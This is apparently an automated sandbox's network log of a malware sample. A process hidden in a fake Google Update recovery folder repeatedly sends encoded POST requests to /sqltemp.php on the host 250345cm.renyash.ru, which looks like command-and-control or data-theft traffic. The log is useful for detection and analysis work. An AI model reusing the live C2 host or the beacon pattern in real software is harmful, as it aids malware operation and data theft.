Jan 1, 2025 16:02:55.041129112 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=56YrcE1CYQKPQP8w79NMAAAY7Yr%2BmcxQ2ETKkvo4WuNr%2BvGvttWUTp8EzOVnJpUlf6M1VwijnFh2vrqmdxzc3Z16QBUZb9zqeBvG7nNVczW77iYC%2FFseRI4Oyw3%2BYwSj4Ex9VgLG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364a0a84643bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7907&min_rtt=1747&rtt_var=12975&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=28612&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	62690	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:55.160346031 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:55.516705036 CET	1124	OUT	Data Raw: 56 51 5f 5c 54 59 51 50 58 56 52 59 56 5c 59 5e 5b 5f 54 5f 55 5e 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQ_\TYQPXVRYV\Y^[_T_U^P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$/%Z7?>$.C,\% [(()- Y4<+6%?9*&Y.,Y-5
Jan 1, 2025 16:02:55.605273962 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:55.894943953 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wc8j9sk02sygY%2Bi3axULcvsPN7PwHY0NCXlEgkM0dDwH9DL02bUV8fTZoSyCa7S9Y5M0L62drMVGef%2FEkaETxYy4pf2ZBXS70AbF0dAhTwPN%2F7R7qiEah%2Bj0q4V14944d1PNi9ML"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364a54ec342cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2593&min_rtt=2199&rtt_var=1614&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=272591&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	62691	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:56.019465923 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:56.375916958 CET	1124	OUT	Data Raw: 53 52 5f 57 54 5a 51 55 58 56 52 59 56 58 59 5e 5b 5a 54 5a 55 5a 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SR_WTZQUXVRYVXY^[ZTZUZP_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^': ?Y$>+;*9S#<4)> <&&?/.&Y.,Y-%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	62692	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:56.444670916 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1936 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:56.797801018 CET	1936	OUT	Data Raw: 56 56 5f 53 51 5c 54 53 58 56 52 59 56 5f 59 5f 5b 5a 54 5a 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_SQ\TSXVRYV_Y_[ZTZUXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'-\4' 8\:4;(<*?#3?=C%<#W-&Y.,Y-9
Jan 1, 2025 16:02:56.915550947 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:57.178294897 CET	954	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mn6xjwc37HMp4eaTbHN1oBVBOqxrfme4MHbd0o28cWKj85A9gr9%2BdHpwyhuuWgbokj6vhJzM5oKeNNb4pPRgPGdYDHXiRsOhHAy7sycEwRAzEjQ8FE882oVRNBqgXrFdRnQNO%2BYb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364ad7dba3300-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20195&min_rtt=16056&rtt_var=14299&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2238&delivery_rate=29694&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 1c 3e 3d 25 0d 24 32 02 5c 28 03 23 52 27 3d 2e 59 3f 06 07 00 27 3e 23 11 2a 17 05 11 36 3f 3e 07 26 38 23 00 23 13 23 5f 24 1e 2b 59 05 1c 20 44 36 01 2c 11 28 3d 09 5e 31 06 3d 5c 26 3d 28 5e 3f 3b 37 0a 20 3b 24 06 24 2d 16 59 29 14 28 1f 27 2f 2f 5b 2d 11 25 53 33 00 2c 54 00 11 26 1c 33 08 3b 05 23 0e 30 1f 22 0f 17 58 26 42 32 1b 32 3c 06 09 20 17 08 58 31 0b 23 59 22 23 25 03 25 5d 3e 03 37 13 28 0a 3e 14 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%>=%$2\(#R'=.Y?'>#*6?>&8###_$+Y D6,(=^1=\&=(^?;7 ;$$-Y)('//[-%S3,T&3;#0"X&B22< X1#Y"#%%]>7(>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	62693	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:56.566843987 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:56.922776937 CET	1124	OUT	Data Raw: 56 53 5a 50 51 5b 54 54 58 56 52 59 56 5c 59 50 5b 58 54 51 55 5a 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VSZPQ[TTXVRYV\YP[XTQUZPUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y&?41X%>+A.)=V#$Z*9?>(X 2++=%/9&Y.,Y-5
Jan 1, 2025 16:02:57.043538094 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:57.307996988 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BMUOxd6oPBJRF5HgEBfaxvRTxDfct0mIUfm5vnuNicwG5f3Uf9rnDFzkfJzO7J24YC2wSbhqDQEFydPQJDwF%2FXSnYvTjKA29Xc%2Bst3n%2BDnJyqyTwRn4MXAZk13EuhYluwlTlCJXE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364ae3b0243ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7647&min_rtt=1650&rtt_var=12613&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=29418&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	62695	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:57.462373018 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:57.813605070 CET	1124	OUT	Data Raw: 56 50 5f 55 54 5f 54 54 58 56 52 59 56 5c 59 56 5b 5c 54 50 55 5c 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VP_UT_TTXVRYV\YV[\TPU\PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$4-3=#/\-R7=?* )-;4'+E$??U:&Y.,Y-5
Jan 1, 2025 16:02:57.934504032 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:58.203170061 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IApTrA%2FUAanQJ31BpCrsg23ngMNYFfWFHBCmts4X4v%2F3AjgwUrwOeBVvzZFwxa0NBOYt9OuNlTwhqCcC5gp1K7yI0iJnIkVFeqTXXXXXFDVs4Bnd0pfRezEL8TMSq%2BM%2BEgZb9sud"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364b3cf3c5e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9821&min_rtt=1691&rtt_var=16895&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=21877&cwnd=138&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	62696	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:58.331763029 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:58.688498020 CET	1124	OUT	Data Raw: 53 50 5a 53 54 50 54 51 58 56 52 59 56 5c 59 53 5b 52 54 5d 55 5b 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZSTPTQXVRYV\YS[RT]U[PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$4$= .:T -?)U==;42(-A%?T-*&Y.,Y-5
Jan 1, 2025 16:02:58.784244061 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:59.045042992 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NHJtfbIGsNIWTGsOvxGUFAY10KgZPo6TVGEso%2BTY8qFI0lS%2FRgSr9zLQQOBMRW83ydTm4y2MQtwgtCU3XCQcBzivCAB5on2qGEWZSPleNaOsm6Q20w7zF1he7yiSq1k22vUgPFyl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364b91ff98ccd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4835&min_rtt=2051&rtt_var=6338&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=60013&cwnd=194&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	62697	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:59.173705101 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:59.532166004 CET	1124	OUT	Data Raw: 53 52 5f 55 54 5e 54 5d 58 56 52 59 56 50 59 5e 5b 5c 54 5b 55 55 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SR_UT^T]XVRYVPY^[\T[UUPUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$> !X3X48\%V#-;?3WX' [+]"%',&Y.,Y-
Jan 1, 2025 16:02:59.618066072 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:59.880044937 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j5eB%2BP2Lvu4KsxCpa1sSgrd2b3b8GZVbP%2F8o1nDUovOOAlSTwGSEnBkaI5AF5AUt0zI%2BsBUD2a35v8ovzGHKootX%2F4CV%2Bi8aBNdmMOAdrcOuu9MshyRJWxAfuUd5g9puSpm5jBIj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364be5dbbc463-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2213&min_rtt=1471&rtt_var=2037&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=196977&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	62698	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:00.005923033 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:00.360438108 CET	1124	OUT	Data Raw: 53 52 5a 54 51 5d 51 56 58 56 52 59 56 5a 59 56 5b 5a 54 5a 55 55 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SRZTQ]QVXVRYVZYV[ZTZUUPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0Y9\ ,:'.,"#.8X+9R*-' 1<(+:&S:&Y.,Y--
Jan 1, 2025 16:03:00.457968950 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:00.717327118 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zt086lOWmA4iQOZwPUqLx267lkIDcnKDtZcu%2FzTKhFBXYlGIUW%2FgU%2FUIWTF74I2Va7z5ob%2BbokW0t4dwVa8qYTH4btm9tKc8RPcIHntB4mzr1vruXc8XX2ISjOsVip5da5%2BmH466"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364c39be2186d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4228&min_rtt=1460&rtt_var=6083&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=61853&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	62699	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:00.848855019 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:01.205779076 CET	1124	OUT	Data Raw: 56 53 5f 52 54 5e 54 51 58 56 52 59 56 51 59 50 5b 5a 54 5b 55 58 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_RT^TQXVRYVQYP[ZT[UXP_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$%7=^'>8,:9R <[<'><] "(*(>&<;:&Y.,Y-
Jan 1, 2025 16:03:01.293412924 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:01.559045076 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hz7A8y3zHgQK9SdxhsfAa8POVpePiaLI2EqW2yxus7b65JzfiW9FHnZuxwjHOYP%2BPGNHmvHEaPimNCMc06NKeCmyiSo0%2FOnav67I4GM4BF8johjBrcQhYR26TDlpDc2aLBktbXyw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364c8ca288cc5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2565&min_rtt=2016&rtt_var=1854&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=227733&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	62700	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:01.692192078 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:02.056293964 CET	1124	OUT	Data Raw: 56 57 5a 57 51 5d 51 57 58 56 52 59 56 5e 59 51 5b 59 54 5b 55 59 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VWZWQ]QWXVRYV^YQ[YT[UYPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$<!X",%Y'</:!=+:#*>$X#"3+%B17T9&Y.,Y-
Jan 1, 2025 16:03:02.169117928 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	62701	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:02.194813967 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:02.547841072 CET	1964	OUT	Data Raw: 56 53 5f 5c 54 5a 54 51 58 56 52 59 56 5c 59 5e 5b 58 54 51 55 5d 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_\TZTQXVRYV\Y^[XTQU]PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0)7/9X37,\2 ?+#V).<4"4(D1'9*&Y.,Y-5
